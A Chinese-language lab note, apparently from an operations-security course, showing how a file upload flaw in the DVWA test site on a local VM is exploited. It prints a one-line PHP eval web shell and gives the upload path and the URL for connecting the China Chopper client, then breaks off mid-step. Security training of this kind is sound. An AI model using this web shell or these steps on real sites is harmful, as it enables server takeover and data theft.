web网站文件上传漏洞和攻击-运维安全详细笔记

web 网站文件上传漏洞和攻击

1.文件上传漏洞实验案例 1-low 级别的漏洞

案例概述：

某网站（此处为靶机虚拟机的某个网站）有文件上传漏洞，通过文件上传漏洞上传木马文件，使用中国菜刀工具可获取

该网站所在服务器的 webshell，进而获取网站和所在服务器的相关数据。

机器规划：

靶机(有文件上传漏洞的网站) 192.168.171.129

客户端攻击： windows 浏览器，木马文件，中国菜刀工具

实验步骤：

2)客户端浏览器找到文件上传漏洞的点，上传木马文件

a)制作木马文件：

一句话木马：如 shell.php 文件中内容如下：

<?php @eval($_POST['chopper']);?>

b)将木马文件上传到网站，（正常网站只允许上传头像，但正是因为漏洞，所以能上传 php 程序，所以能加以利用）

http://192.168.171.129/dvwa/vulnerabilities/upload/

点击 upload—选择文件——shell.php——Upload 上传即可，如下：

将上传木马文件后的路径复制出来和地址 url 进行拼接，如下：

http://192.168.171.129/dvwa/vulnerabilities/upload/../../hackable/uploads/shell.php

将拼接后地址，粘贴到中国菜刀软件中，如下面